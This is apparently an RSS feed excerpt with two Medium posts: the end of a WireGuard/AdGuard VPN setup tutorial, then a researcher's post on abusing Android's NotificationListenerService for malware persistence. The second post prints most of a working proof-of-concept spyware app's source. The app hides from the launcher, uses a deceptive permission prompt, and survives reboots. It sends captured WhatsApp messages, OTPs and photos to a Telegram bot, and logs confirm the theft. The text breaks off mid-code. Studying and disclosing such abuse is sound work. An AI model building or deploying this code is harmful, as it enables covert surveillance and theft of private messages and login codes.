terminal:</p><p><strong>curl -O </strong><a href="https://raw.githubusercontent.com/angristan/wireguard-install/master/wireguard-install.sh"><strong>https://raw.githubusercontent.com/angristan/wireguard-install/master/wireguard-install.sh</strong></a></p><p><strong>chmod +x wireguard-install.sh</strong></p><p><strong>sudo bash wireguard-install.sh</strong></p><p>The script will ask you a few setup questions. Accept the default IP addresses. When it asks for the public port, enter the custom UDP port you opened in your firewall earlier (e.g., 52860). Finally, give your first client a name (like laptop or phone).</p><p>The script will generate a .conf file. You can use the &quot;Download File&quot; button in the top right of your GCP SSH window to save this to your computer. Import it into the WireGuard app, and you have a working VPN!</p><p>But we aren’t done yet. Let’s add the ad-blocker.</p><h3>Step 3: Install AdGuard Home</h3><p>Run the official automated installation script for AdGuard Home in your SSH terminal:</p><p><strong>curl -s -S -L </strong><a href="https://raw.githubusercontent.com/AdguardTeam/AdGuardHome/master/scripts/install.sh"><strong>https://raw.githubusercontent.com/AdguardTeam/AdGuardHome/master/scripts/install.sh</strong></a><strong> | sh -s — -v</strong></p><p>AdGuard is now running on your server, but it needs to be configured via its web interface on port 3000. Because GCP blocks port 3000 by default, we will use a clever SSH tunnel to access it securely without opening your server to the public internet.</p><p>In your GCP SSH browser window, click the <strong>Gear icon</strong> in the top right, select <strong>Port Forwarding</strong>, and enter <strong>3000</strong>. Open a new tab on your local computer and navigate to <a href="http://localhost:3000."><strong>http://localhost:3000</strong>.</a></p><h3>Step 4: Secure the Sinkhole</h3><p>When the AdGuard setup wizard opens, pay close attention to the <strong>Listen Interfaces</strong> screen. This is where we lock the door so nobody on the public internet can hijack your DNS server.</p><ul><li><strong>Web Interface:</strong> Change the dropdown from “All interfaces” strictly to <strong>wg0</strong> (or your WireGuard IP, usually 10.66.66.1). Leave the port as 80.</li><li><strong>DNS Server:</strong> Change the dropdown strictly to <strong>wg0</strong> (or 10.66.66.1). Leave the port as 53.</li></ul><p>Click Next, and finish creating your admin username and password.</p><h3>Step 5: Route the Traffic</h3><p>Right now, Ubuntu’s internal firewall is blocking your VPN tunnel from talking to AdGuard. We need to explicitly allow DNS traffic (Port 53) through the WireGuard interface. Run these commands in your SSH terminal:</p><p><strong>sudo iptables -I INPUT -i wg0 -p udp — dport 53 -j ACCEPT</strong></p><p><strong>sudo iptables -I INPUT -i wg0 -p tcp — dport 53 -j ACCEPT</strong></p><p>To make these rules permanent so they survive a server reboot, install the persistent iptables package:</p><p><strong>sudo apt update &amp;&amp; sudo apt install iptables-persistent -y</strong></p><p><em>(When a pink screen pops up during installation asking to save current IPv4 rules, press Enter to select “Yes”).</em></p><h3>Step 6: Configure AdGuard for Stability</h3><p>Turn on your WireGuard VPN and navigate to your new dashboard at <a href="https://www.google.com/search?q=http://10.66.66.1"><strong>http://10.66.66.1</strong></a>.</p><ol><li>Go to <strong>Settings -&gt; DNS Settings</strong>.</li><li>Under <strong>Upstream DNS servers</strong>, delete the default URL and paste in pure IP addresses. This prevents AdGuard from getting stuck in an infinite “bootstrap” resolution loop:</li></ol><ul><li><strong>1.1.1.1</strong></li><li><strong>1.0.0.1</strong></li><li><strong>8.8.8.8</strong></li><li><strong>8.8.4.4</strong></li></ul><ol><li>Click <strong>Apply</strong>.</li><li>Go to <strong>Settings -&gt; General Settings</strong> and scroll down to the Logs configuration. Reduce your “Query log retention” to <strong>7 days</strong>. If you skip this, your logs will eventually consume your entire 30GB free-tier hard drive and crash your server!</li></ol><h3>Step 7: Supercharge with Cybersecurity Blocklists</h3><p>By default, AdGuard blocks basic ads. Let’s upgrade it to block aggressive telemetry, malware drop-sites, and phishing domains.</p><ol><li>In AdGuard, go to <strong>Filters -&gt; DNS blocklists</strong>.</li><li>Click <strong>Add blocklist -&gt; Add a custom list</strong>.</li><li>Add the <strong>OISD Big</strong> list (URL: https://big.oisd.nl/domainset). This is the gold standard for blocking millions of trackers without breaking normal websites.</li><li>Add the <strong>HaGeZi Multi PRO</strong> list (URL: https://raw.githubusercontent.com/hagezi/dns-blocklists/main/adblock/pro.txt). This is highly aggressive and built for security professionals.</li></ol><h3>Step 8: The Final Flip</h3><p>Finally, open your WireGuard app on your computer or phone, edit your connection, and change the <strong>DNS</strong> line to point to your new AdGuard server:</p><p><strong>DNS = 10.66.66.1</strong></p><p>Save the connection, disconnect, and reconnect.</p><p>Open a few websites, then check your AdGuard dashboard. You will see a live stream of DNS queries and a massive percentage of them being blocked in real-time.</p><p>You now own a private, zero-log, ad-crushing VPN infrastructure that will never cost you a dime. Welcome to the zero-cost cyber lab!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ae53dbab0804" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Android’s Silent Threat: NotificationListenerService Fuels Malware Persistence]]></title>
            <link>https://medium.com/@S3THU/androids-silent-threat-notificationlistenerservice-fuels-malware-persistence-b50e0f217b34?source=rss-85be55e59fb3------2</link>
            <guid isPermaLink="false">https://medium.com/p/b50e0f217b34</guid>
            <category><![CDATA[android-app-development]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Sethu Satheesh]]></dc:creator>
            <pubDate>Tue, 13 May 2025 06:29:13 GMT</pubDate>
            <atom:updated>2025-05-13T06:29:13.499Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*DLuvy7BbQxReUA-RWiuB8A.jpeg" /></figure><p>In the ever-evolving landscape of cybersecurity, Android devices remain a prime target for attackers due to their widespread use and open ecosystem. As a passionate security researcher, I’ve spent countless hours dissecting mobile apps to uncover vulnerabilities that could compromise user privacy. Android, with its vast user base and open ecosystem, is a prime target for attackers and my recent discovery highlights just how insidious these threats can be. What started as a routine investigation turned into a chilling revelation: Android’s NotificationListenerService, a legitimate API meant to manage notifications, can be weaponized to enable malware persistence, capture sensitive data, and exfiltrate it covertly all without the user’s knowledge after a single permission grant.</p><p>In this blog post, I’ll take you through my journey of uncovering this vulnerability on Android 14, revealed that NotificationListenerService allows an app to restart itself after being closed or following a device reboot (post-unlock), enabling continuous data exfiltration. In this article, I’ll walk you through my share my methodology and findings, and explore the broader implications for Android security. Let’s dive in.</p><h4>What is NotificationListenerService?</h4><p>For those unfamiliar, NotificationListenerService is an Android API introduced in API 18 (Android 4.3) that allows apps to read and interact with notifications. Think of apps like screen recorders, notification managers, or accessibility tools, they often use this API to dismiss notifications or read their content. To leverage it, an app must declare the <em>BIND_NOTIFICATION_LISTENER_SERVICE</em> permission in its AndroidManifest.xml and prompt the user to grant notification access via Settings.<em>ACTION_NOTIFICATION_LISTENER_SETTINGS</em>.</p><p>While this API serves legitimate purposes, one feature caught my eye: its ability to automatically bind after a device reboot (post-unlock). Could this be exploited for persistence and data theft? To find out, I built a proof-of-concept (PoC) app and set up a series of experiments to test its potential for abuse.</p><h4>The Investigation: Can NotificationListenerService Be Weaponized?</h4><p>My objective was clear: determine if NotificationListenerService could be used to:</p><ul><li>Achieve persistence on an Android device after the app is closed (in background) or the device reboots.</li><li>Capture and exfiltrate sensitive data (notifications, files) without further user interaction.</li><li>Operate covertly, with minimal or no visible signs of activity.</li></ul><p>To explore this, I developed a PoC app named com.example.commandro and designed two experiments:</p><ul><li><strong>Test 1</strong>: A baseline without NotificationListenerService to understand normal app behavior.</li><li><strong>Test 2</strong>: With NotificationListenerService enabled to evaluate its impact on persistence and data exfiltration.</li></ul><h4>Setting the Stage: Building the PoC</h4><p>I created a simple Android app with the following components:</p><ul><li><strong>MainActivity.kt</strong>: A Jetpack Compose-based activity that prompts for storage and notification access permissions, then starts background services. It also hides the app from the launcher after setup for stealth.</li><li><strong>ToastService.kt</strong>: A foreground service displaying a toast message (“Commandro is alive!”) every 5 seconds to confirm the app is running.</li><li><strong>PhotoService.kt</strong>: A foreground service that accesses /sdcard/Pictures/test.jpg and sends it to a Telegram bot every 10 seconds, simulating file exfiltration.</li><li><strong>NotificationListener.kt</strong>: A NotificationListenerService implementation to capture notifications (e.g., WhatsApp messages, OTPs) and send them to the Telegram bot.</li><li><strong>SecretCodeReceiver.kt</strong>: A broadcast receiver triggered by dialing *#*#12345#*#* to relaunch the hidden app (since I designed the app to hide itself after permission granting).</li></ul><p><strong>Environment</strong>:</p><ul><li><strong>OS</strong>: Android 14 (also tested on Android 15).</li><li><strong>Tools</strong>: Android Studio, Telegram bot for exfiltration.</li><li><strong>Permissions</strong>:</li><li>READ_MEDIA_IMAGES/READ_EXTERNAL_STORAGE for photo access.</li><li>BIND_NOTIFICATION_LISTENER_SERVICE for notification access (Test 2 only).</li><li>FOREGROUND_SERVICE for ToastService and PhotoService.</li></ul><h4>Experiment 1: The Baseline (No NotificationListenerService)</h4><p>First, I needed to establish how the app behaves without NotificationListenerService. I removed the BIND_NOTIFICATION_LISTENER_SERVICE permission and the NotificationListener service from the AndroidManifest.xml.</p><p><strong>What I Did</strong>:</p><ul><li>Installed the app on my Android 14 device and granted storage permission.</li><li>Observed the app’s behavior before reboot, after closing it from the recents menu, and after rebooting the device.</li><li>Monitored Logcat and Telegram for activity.</li></ul><p><strong>What Happened</strong>:</p><ul><li><strong>Pre-Reboot</strong>: The app launched, displayed a simple “Hello Android!” UI (via Jetpack Compose), and started ToastService and PhotoService after I granted storage permission. Toasts appeared every 5 seconds, and photos were sent to Telegram every 10 seconds. Foreground notifications for both services (“Commandro Toast Service,” “Commandro Photo Service”) were visible.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*Aq1MZjAmGKL5qIJpK9nq4w.jpeg" /></figure><ul><li><strong>After Closing the App</strong>: I swiped the app from the recents menu, and immediately, the toasts and photo uploads stopped. No further Telegram messages or foreground notifications appeared.</li><li><strong>Post-Reboot</strong>: After rebooting and unlocking the device, there was no activity. No toasts, no photos, no Telegram messages, and no foreground notifications. Logcat confirmed no com.example.commandro processes started.</li></ul><p><strong>Takeaway</strong>: Without NotificationListenerService, the app couldn’t persist after being closed or post-reboot. Storage permissions alone didn’t enable wake-up, as expected. This set a clear baseline for comparison.</p><h4>Experiment 2: Enabling NotificationListenerService</h4><p>Next, I added the <em>BIND_NOTIFICATION_LISTENER_SERVICE </em>permission and NotificationListener service to the AndroidManifest.xml, and updated MainActivity.kt to prompt for notification access.</p><p><strong>What I Did</strong>:</p><ul><li>Installed the app, granted both storage and notification access permissions.</li><li>Observed behavior before reboot, after closing the app from recents, and after rebooting.</li><li>Monitored Logcat and Telegram for activity, including notification capture.</li></ul><p><strong>What Happened</strong>:</p><ul><li><strong>Pre-Reboot</strong>: The app launched and prompted for notification access with a deceptive message: “Allow notification access to summarize your chats and provide quick replies” (simulating a “Chat Organizer” app). After granting both permissions, ToastService and PhotoService started. Toasts appeared every 5 seconds, photos were sent to Telegram every 10 seconds, and NotificationListener captured notifications whenever a notification comes(e.g., WhatsApp messages) and sent them to Telegram.</li><li><strong>After Closing the App</strong>: I swiped the app from recents, but the toasts, photo uploads, and notification capture continued uninterrupted. The app itself had no UI after hiding from the launcher.</li><li><strong>Post-Reboot</strong>: After rebooting and unlocking the device, NotificationListenerService automatically bound (but post-unlock, due to Android 14 restrictions). ToastService and PhotoService restarted without any user interaction. Toasts resumed every 5 seconds, photos were sent to Telegram every 10 seconds, and notification capture (e.g., new WhatsApp messages) continued. Logcat confirmed the service binding and automatic restart of processes without launching MainActivity.</li></ul><p><strong>Takeaway</strong>: NotificationListenerService enabled persistence by restarting the app post-reboot (after unlock) and after background termination. This allowed continuous data exfiltration (notifications and photos) without further user interaction, making it a powerful tool for attackers.</p><h4>Digging Deeper: Logcat Evidence</h4><p>To confirm my findings, I analyzed Logcat logs from Experiment 2, which painted a clear picture of the app’s behavior before and after reboot:</p><ul><li><strong>App Launch and Permission Grant</strong>:</li></ul><pre>(App installed and opened)<br>---------------------------- PROCESS STARTED (8235) for package com.example.commandro ----------------------------<br>---------------------------- PROCESS ENDED (8235) for package com.example.commandro ----------------------------<br>---------------------------- PROCESS STARTED (8779) for package com.example.commandro ----------------------------<br>2025-04-23 01:16:09.474  1747-1794  OplusCusto...gerService system_server  D  getAllowedNotificationListenerAccessList ret:null<br>2025-04-23 01:16:09.475  8956-8956  ApprovalPrefController  com.android.settings  D  isAllowedNotificationListenerAccess: false<br>2025-04-23 01:16:11.364  1747-2638  ConditionProviders      system_server  I   Allowing condition provider com.example.commandro/com.example.commandro.NotificationListener (userSet: true)<br>2025-04-23 01:16:11.366  1747-2638  NotificationListeners   system_server  I   Allowing notification listener com.example.commandro/com.example.commandro.NotificationListener (userSet: true)<br>2025-04-23 01:16:11.367  1747-2638  NotificationListeners   system_server  V  enabling notification listener for 0: ComponentInfo{com.example.commandro/com.example.commandro.NotificationListener}<br>2025-04-23 01:16:11.367  1747-2638  NotificationListeners   system_server  V  binding: Intent { act=android.service.notification.NotificationListenerService cmp=com.example.commandro/.NotificationListener (has extras) }<br>2025-04-23 01:16:11.390  8779-8779  NotificationListener    com.example.commandro  D  Notification listener connected<br>2025-04-23 01:16:40.175  8779-8779  NotificationListener    com.example.commandro  D  Notification Posted: Title: Aab, Text: Hii, App: com.whatsapp, Time: 01:46 pm - 23/04/2025<br>2025-04-23 01:16:40.178  8779-8779  NotificationListener    com.example.commandro  D  Notification Posted: Title: Aab, Text: 8 new messages, App: com.whatsapp, Time: 01:46 pm - 23/04/2025<br>2025-04-23 01:16:41.694  8779-10278 NotificationListener    com.example.commandro  D  Sent to Telegram<br>2025-04-23 01:16:42.476  8779-10294 NotificationListener    com.example.commandro  D  Sent to Telegram</pre><ul><li>The app launched, initially lacked notification access, but after granting it, the system bound to NotificationListenerService, and the app logged “Notification listener connected.”</li><li><strong>Before reboot, the app captured WhatsApp notifications (e.g., “Hii” from “Aab”) and sent them to Telegram, confirming data exfiltration.</strong></li><li><strong>Post-Reboot Behavior</strong>:</li></ul><pre>(Device restarted)<br>---------------------------- PROCESS ENDED (8779) for package com.example.commandro ----------------------------<br>(After restart)<br>2025-04-23 01:17:58.094  1774-1774  NotificationListeners   system_server  V  enabling notification listener for 0: ComponentInfo{com.example.commandro/com.example.commandro.NotificationListener}<br>2025-04-23 01:17:58.094  1774-1774  NotificationListeners   system_server  V  binding: Intent { act=android.service.notification.NotificationListenerService cmp=com.example.commandro/.NotificationListener (has extras) }<br>2025-04-23 01:17:58.095  1774-1774  ActivityManager         system_server  W  Unable to start service Intent { act=android.service.notification.NotificationListenerService cmp=com.example.commandro/.NotificationListener ... } U=0: not found<br>2025-04-23 01:18:06.548  1774-1774  NotificationListeners   system_server  V  enabling notification listener for 0: ComponentInfo{com.example.commandro/com.example.commandro.NotificationListener}<br>2025-04-23 01:18:06.732  1774-1774  ActivityManager         system_server  I  Start proc 4949:com.example.commandro/u0a379 for service {com.example.commandro/com.example.commandro.NotificationListener}<br>---------------------------- PROCESS STARTED (4949) for package com.example.commandro ----------------------------<br>2025-04-23 01:18:15.913  4949-4949  NotificationListener    com.example.commandro  D  Notification listener connected<br>2025-04-23 01:18:33.642  4949-4949  NotificationListener    com.example.commandro  D  Skipped Telegram app notification to avoid loop.<br>2025-04-23 01:18:39.013  4949-4949  NotificationListener    com.example.commandro  D  Notification Posted: Title: Aab, Text: Hello, App: com.whatsapp, Time: 01:48 pm - 23/04/2025<br>2025-04-23 01:18:39.028  4949-4949  NotificationListener    com.example.commandro  D  Notification Posted: Title: Aab, Text: 9 new messages, App: com.whatsapp, Time: 01:48 pm - 23/04/2025<br>2025-04-23 01:18:40.253  4949-10736 NotificationListener    com.example.commandro  D  Sent to Telegram</pre><ul><li>After reboot, the system initially failed to bind pre-unlock (a security feature in Android 14), but succeeded post-unlock, restarting the app’s services. Notification capture and exfiltration resumed without user interaction.</li></ul><p>These logs confirm that NotificationListenerService enables persistence and continuous data exfiltration, highlighting the severity of this vulnerability.</p><h4>How It Works: A Technical Breakdown</h4><p>Let’s break down why NotificationListenerService is so dangerous in the hands of an attacker:</p><p><strong>Persistence Mechanism</strong>: NotificationListenerService operates as a bound service. Android automatically restarts it under certain conditions, like after a reboot (post-unlock) or when notifications need to be delivered. In my PoC:</p><ul><li>After granting notification access, the service binds and remains active (Notification listener connected).</li><li>Post-reboot, Android restarts the service, which in turn restarts the entire app, including ToastService and PhotoService, along with any other permissions granted (e.g., storage access).</li></ul><p><strong>Data Exfiltration</strong>:</p><ul><li><strong>Notifications</strong>: The service captures notifications via onNotificationPosted, extracting sensitive data like WhatsApp messages or OTPs (Title: Aab, Text: Hello).</li><li><strong>Files</strong>: PhotoService accesses storage and sends files (e.g., test.jpg) to a Telegram bot using OkHttp (okhttp:4.12.0).</li></ul><p><strong>Stealth</strong>:</p><ul><li>After initial permission granting, the app hides from the launcher, operates without a UI, and shows no visible indicators of activity (beyond foreground notifications, which could be disguised).</li><li>On Android 14, binding fails pre-unlock (a security improvement), but succeeds post-unlock, requiring no further user interaction.</li></ul><p>Compared to Experiment 1, where the app stopped without NotificationListenerService, this API acts as a persistent trigger, making it a powerful tool for attackers.</p><h4>The Bigger Picture: Why This Matters</h4><p>This vulnerability has far-reaching implications for Android security:</p><ul><li><strong>Persistent Malware</strong>: Attackers can use NotificationListenerService to maintain a foothold on a device, surviving app closure and reboots. This persistence makes malware incredibly hard to remove without revoking notification access.</li><li><strong>Data Theft</strong>: Notifications often contain sensitive information (e.g., OTPs, private messages), and storage access enables exfiltration of files like photos. This could lead to identity theft, financial loss, or privacy breaches.</li><li><strong>Low Visibility</strong>: The app operates covertly after initial setup, with no UI or obvious signs of activity, making it difficult for users to detect.</li><li><strong>Scalability</strong>: Any app requesting notification access could exploit this, especially if paired with social engineering (e.g., posing as a “Chat Organizer” app).</li></ul><p><strong>Affected Versions</strong>: I developed and tested this on Android 14 and 15, but NotificationListenerService has been available since API 18 (Android 4.3). Older versions are even more vulnerable, as Android 14’s pre-unlock restriction limits binding until after unlock, a safeguard not present in earlier versions.</p><h4>The Code Behind the Exploit</h4><p>Here are the key code files from my PoC, showing how I implemented this exploit:</p><p><strong>AndroidManifest.xml</strong><br> This file declares the app’s permissions and components, including the NotificationListenerService and secret code receiver for stealth.</p><pre>&lt;manifest xmlns:android=&quot;http://schemas.android.com/apk/res/android&quot;<br>    xmlns:tools=&quot;http://schemas.android.com/tools&quot;&gt;<br>    &lt;application<br>        android:allowBackup=&quot;true&quot;<br>        android:dataExtractionRules=&quot;@xml/data_extraction_rules&quot;<br>        android:fullBackupContent=&quot;@xml/backup_rules&quot;<br>        android:icon=&quot;@mipmap/icon&quot;<br>        android:label=&quot;@string/app_name&quot;<br>        android:roundIcon=&quot;@mipmap/ic_launcher_round&quot;<br>        android:supportsRtl=&quot;true&quot;<br>        android:theme=&quot;@style/Theme.Commandro&quot;<br>        tools:targetApi=&quot;31&quot;&gt;<br>        &lt;activity<br>            android:name=&quot;.MainActivity&quot;<br>            android:exported=&quot;true&quot;<br>            android:label=&quot;@string/app_name&quot;<br>            android:theme=&quot;@style/Theme.Commandro&quot;&gt;<br>            &lt;intent-filter&gt;<br>                &lt;action android:name=&quot;android.intent.action.MAIN&quot; /&gt;<br>                &lt;category android:name=&quot;android.intent.category.LAUNCHER&quot; /&gt;<br>            &lt;/intent-filter&gt;<br>        &lt;/activity&gt;<br>        &lt;!-- Notification Listener Service --&gt;<br>        &lt;service<br>            android:name=&quot;.NotificationListener&quot;<br>            android:permission=&quot;android.permission.BIND_NOTIFICATION_LISTENER_SERVICE&quot;<br>            android:exported=&quot;true&quot;&gt;<br>            &lt;intent-filter&gt;<br>                &lt;action android:name=&quot;android.service.notification.NotificationListenerService&quot; /&gt;<br>            &lt;/intent-filter&gt;<br>        &lt;/service&gt;<br>        &lt;!-- Toast Service --&gt;<br>        &lt;service<br>            android:name=&quot;.ToastService&quot;<br>            android:exported=&quot;false&quot;<br>            android:foregroundServiceType=&quot;dataSync&quot; /&gt;<br>        &lt;!-- Photo Service --&gt;<br>        &lt;service<br>            android:name=&quot;.PhotoService&quot;<br>            android:exported=&quot;false&quot;<br>            android:foregroundServiceType=&quot;dataSync&quot; /&gt;<br>        &lt;!-- Secret Code Receiver --&gt;<br>        &lt;receiver android:name=&quot;.SecretCodeReceiver&quot;<br>            android:exported=&quot;true&quot;&gt;<br>            &lt;intent-filter&gt;<br>                &lt;action android:name=&quot;android.provider.Telephony.SECRET_CODE&quot; /&gt;<br>                &lt;data android:scheme=&quot;android_secret_code&quot; android:host=&quot;12345&quot; /&gt;<br>            &lt;/intent-filter&gt;<br>        &lt;/receiver&gt;<br>    &lt;/application&gt;<br>    &lt;uses-permission android:name=&quot;android.permission.BIND_NOTIFICATION_LISTENER_SERVICE&quot; /&gt;<br>    &lt;uses-permission android:name=&quot;android.permission.INTERNET&quot; /&gt;<br>    &lt;uses-permission android:name=&quot;android.permission.READ_MEDIA_IMAGES&quot; /&gt;<br>    &lt;uses-permission android:name=&quot;android.permission.READ_EXTERNAL_STORAGE&quot;<br>        android:maxSdkVersion=&quot;32&quot; /&gt;<br>    &lt;uses-permission android:name=&quot;android.permission.FOREGROUND_SERVICE&quot; /&gt;<br>&lt;/manifest&gt;</pre><p><strong>MainActivity.kt</strong><br> This file handles permission requests, hides the app from the launcher, and sets up the initial UI.</p><pre>package com.example.commandro<br><br>import android.Manifest<br>import android.content.ComponentName<br>import android.content.Intent<br>import android.content.pm.PackageManager<br>import android.os.Build<br>import android.os.Bundle<br>import android.provider.Settings<br>import android.widget.Toast<br>import androidx.activity.ComponentActivity<br>import androidx.activity.compose.setContent<br>import androidx.activity.result.contract.ActivityResultContracts<br>import androidx.compose.foundation.layout.fillMaxSize<br>import androidx.compose.foundation.layout.padding<br>import androidx.compose.material3.MaterialTheme<br>import androidx.compose.material3.Scaffold<br>import androidx.compose.material3.Text<br>import androidx.compose.runtime.Composable<br>import androidx.compose.ui.Modifier<br>import androidx.compose.ui.tooling.preview.Preview<br>import androidx.core.content.ContextCompat<br><br>class MainActivity : ComponentActivity() {<br><br>    private val requestPermissionLauncher =<br>        registerForActivityResult(ActivityResultContracts.RequestPermission()) { isGranted -&gt;<br>            if (isGranted) {<br>                Toast.makeText(this, &quot;Storage permission granted!&quot;, Toast.LENGTH_SHORT).show()<br>            } else {<br>                Toast.makeText(this, &quot;Storage permission denied&quot;, Toast.LENGTH_LONG).show()<br>            }<br>        }<br><br>    override fun onCreate(savedInstanceState: Bundle?) {<br>        super.onCreate(savedInstanceState)<br><br>        if (!isNotificationServiceEnabled()) {<br>            startActivity(Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS))<br>        } else {<br>            // Check and request storage permission<br>            checkAndRequestStoragePermission()<br>            hideAppFromLauncher()<br>            Toast.makeText(this, &quot;App hidden&quot;, Toast.LENGTH_SHORT).show()<br>        }<br><br>        setContent {<br>            MaterialTheme {<br>                Scaffold(modifier = Modifier.fillMaxSize()) { innerPadding -&gt;<br>                    Greeting(<br>                        name = &quot;Android&quot;,<br>                        modifier = Modifier.padding(innerPadding)<br>                    )<br>                }<br>            }<br>        }<br>    }<br><br>    private fun checkAndRequestStoragePermission() {<br>        val permission = if (Build.VERSION.SDK_INT &gt;= Build.VERSION_CODES.TIRAMISU) {<br>            Manifest.permission.READ_MEDIA_IMAGES<br>        } else {<br>            Manifest.permission.READ_EXTERNAL_STORAGE<br>        }<br><br>        if (ContextCompat.checkSelfPermission(this, permission) != PackageManager.PERMISSION_GRANTED) {<br>            requestPermissionLauncher.launch(permission)<br>        }<br>    }<br><br>    private fun isNotificationServiceEnabled(): Boolean {<br>        val packageName = packageName<br>        val flat = Settings.Secure.getString(contentResolver, &quot;enabled_notification_listeners&quot;)<br>        return flat?.contains(packageName) == true<br>    }<br><br>    private fun hideAppFromLauncher() {<br>        val pm = packageManager<br>        val componentName = ComponentName(this, MainActivity::class.java)<br>        pm.setComponentEnabledSetting(<br>            componentName,<br>            PackageManager.COMPONENT_ENABLED_STATE_DISABLED,<br>            PackageManager.DONT_KILL_APP<br>        )<br>        Toast.makeText(this, &quot;App is now hidden&quot;, Toast.LENGTH_SHORT).show()<br>    }<br><br>    @Composable<br>    fun Greeting(name: String, modifier: Modifier = Modifier) {<br>        Text(<br>            text = &quot;Hello $name!&quot;,<br>            modifier = modifier<br>        )<br>    }<br><br>    @Preview(showBackground = true)<br>    @Composable<br>    fun GreetingPreview() {<br>        MaterialTheme {<br>            Greeting(&quot;Android&quot;)<br>        }<br>    }<br>}</pre><p><strong>NotificationListener.kt</strong></p><p>This file implements the NotificationListenerService, capturing notifications and sending them to Telegram.</p><pre>package com.example.commandro<br><br>import android.content.ComponentName<br>import android.content.Intent<br>import android.os.Build<br>import android.service.notification.NotificationListenerService<br>import android.service.notification.StatusBarNotification<br>import android.util.Log<br>import okhttp3.*<br>import java.io.IOException<br>import java.text.SimpleDateFormat<br>import java.util.*<br>import java.util.concurrent.LinkedBlockingQueue<br>import java.util.concurrent.TimeUnit<br><br>class NotificationListener : NotificationListenerService() {<br><br>    // Telegram bot token and chat ID<br>    private val botToken = &quot;8*******62:A******************************y7wU&quot;<br>    private val chatId = &quot;6*******4&quot;<br><br>    // To prevent duplicate sends<br>    private var lastNotificationKey: String? = null<br><br>    // Queue for Telegram requests<br>    private val requestQueue = LinkedBlockingQueue&lt;String&gt;()<br>    private var isProcessingQueue = false<br><br>    override fun onListenerConnected() {<br>        super.onListenerConnected()<br>        Log.d(&quot;NotificationListener&quot;, &quot;Notification listener connected&quot;)<br>        // Start ToastService and PhotoService<br>        try {<br>            startService(Intent(this, ToastService::class.java))<br>            startService(Intent(this, PhotoService::class.java))<br>        } catch (e: Exception) {<br>            Log.e(&quot;NotificationListener&quot;, &quot;Error starting services&quot;, e)<br>        }<br>        startQueueProcessing()<br>    }<br><br>    override fun onListenerDisconnected() {<br>        super.onListenerDisconnected()<br>        Log.d(&quot;NotificationListener&quot;, &quot;Notification listener disconnected, attempting to reconnect&quot;)<br>        // Request rebinding<br>        try {<br>            requestRebind(ComponentName(this, NotificationListener::class.java))<br>        } catch (e: Exception) {<br>            Log.e(&quot;NotificationListener&quot;, &quot;Error requesting rebind&quot;, e)<br>        }<br>    }<br><br>    override fun onDestroy() {<br>        super.onDestroy()<br>        Log.d(&quot;NotificationListener&quot;, &quot;Service destroyed&quot;)<br>    }<br><br>    override fun onNotificationPosted(sbn: StatusBarNotification?) {<br>        if (sbn != null) {<br>            try {<br>                // Safely handle notification title and text<br>                val notificationTitle = sbn.notification.extras.get(&quot;android.title&quot;)?.toString() ?: &quot;No Title&quot;<br>                val notificationText = sbn.notification.extras.get(&quot;android.text&quot;)?.toString() ?: &quot;No Text&quot;<br>                val appName = sbn.packageName<br><br>                // Skip Telegram notifications to avoid loops<br>                if (appName == &quot;org.telegram.messenger&quot;) {<br>                    Log.d(&quot;NotificationListener&quot;, &quot;Skipped Telegram app notification to avoid loop.&quot;)<br>                    return<br>                }<br><br>                val timestamp = sbn.postTime<br>                val formattedTime = SimpleDateFormat(&quot;hh:mm a - dd/MM/yyyy&quot;, Locale.getDefault()).format(Date(timestamp))<br><br>                val currentKey = &quot;$appName|$notificationTitle|$notificationText|$formattedTime&quot;<br><br>                // Only proceed if it&#39;s a new notification<br>                if (currentKey != lastNotificationKey) {<br>                    lastNotificationKey = currentKey<br><br>                    Log.d(&quot;NotificationListener&quot;, &quot;Notification Posted: Title: $notificationTitle, Text: $notificationText, App: $appName, Time: $formattedTime&quot;)<br><br>                    // Construct message with MarkdownV2<br>                    val title = try {<br>                        &quot;Notification from ${Build.MANUFACTURER} ${Build.MODEL}&quot;<br>                    } catch (e: Exception) {<br>                        Log.e(&quot;NotificationListener&quot;, &quot;Error fetching device info for title&quot;, e)<br>                        &quot;Notification from Unknown Device&quot;<br>                    }<br><br>                    // Escape MarkdownV2 special characters<br>                    val escapeMarkdown = { text: String -&gt;<br>                        text.replace(Regex(&quot;[_*\\[\\]()~`&gt;#+\\-=|{}\\.!]&quot;), &quot;\\\\$0&quot;)<br>                    }<br>                    val safeTitle = escapeMarkdown(notificationTitle)<br>                    val safeText = escapeMarkdown(notificationText)<br>                    val safeAppName = escapeMarkdown(appName)<br>                    val safeFormattedTime = escapeMarkdown(formattedTime)<br><br>                    // Create MarkdownV2 message<br>                    val message = StringBuilder()<br>                    message.append(&quot;*${escapeMarkdown(title)}*\n&quot;)<br>                    message.append(&quot;*App:* $safeAppName\n&quot;)<br>                    message.append(&quot;*Title:* $safeTitle\n&quot;)<br>                    message.append(&quot;*Text:* $safeText\n&quot;)<br>                    message.append(&quot;*Time:* $safeFormattedTime\n&quot;)<br>                    try {<br>                        message.append(&quot;*Android Version:* ${escapeMarkdown(Build.VERSION.RELEASE)}\n&quot;)<br>                    } catch (e: Exception) {<br>                        Log.e(&quot;NotificationListener&quot;, &quot;Error fetching Android version&quot;, e)<br>                        message.append(&quot;*Android Version:* Error fetching\n&quot;)<br>                    }<br><br>                    // Truncate to 4000 characters<br>                    val messageStr = if (message.length &gt; 4000) message.substring(0, 4000) else message.toString()<br><br>                    requestQueue.offer(messageStr)<br>                } else {<br>                    Log.d(&quot;NotificationListener&quot;, &quot;Duplicate notification skipped.&quot;)<br>                }<br><br>            } catch (e: Exception) {<br>                Log.e(&quot;NotificationListener&quot;, &quot;Error processing notification&quot;, e)<br>            }<br>        }<br>    }<br><br>    override fun onNotificationRemoved(sbn: StatusBarNotification?) {<br>        Log.d(&quot;NotificationListener&quot;, &quot;Notification Removed: ${sbn?.packageName}&quot;)<br>    }<br><br>    private fun startQueueProcessing() {<br>        if (!isProcessingQueue) {<br>            isProcessingQueue = true<br>            Thread {<br>                while (true) {<br>                    try {<br>                        val message = requestQueue.poll(10, 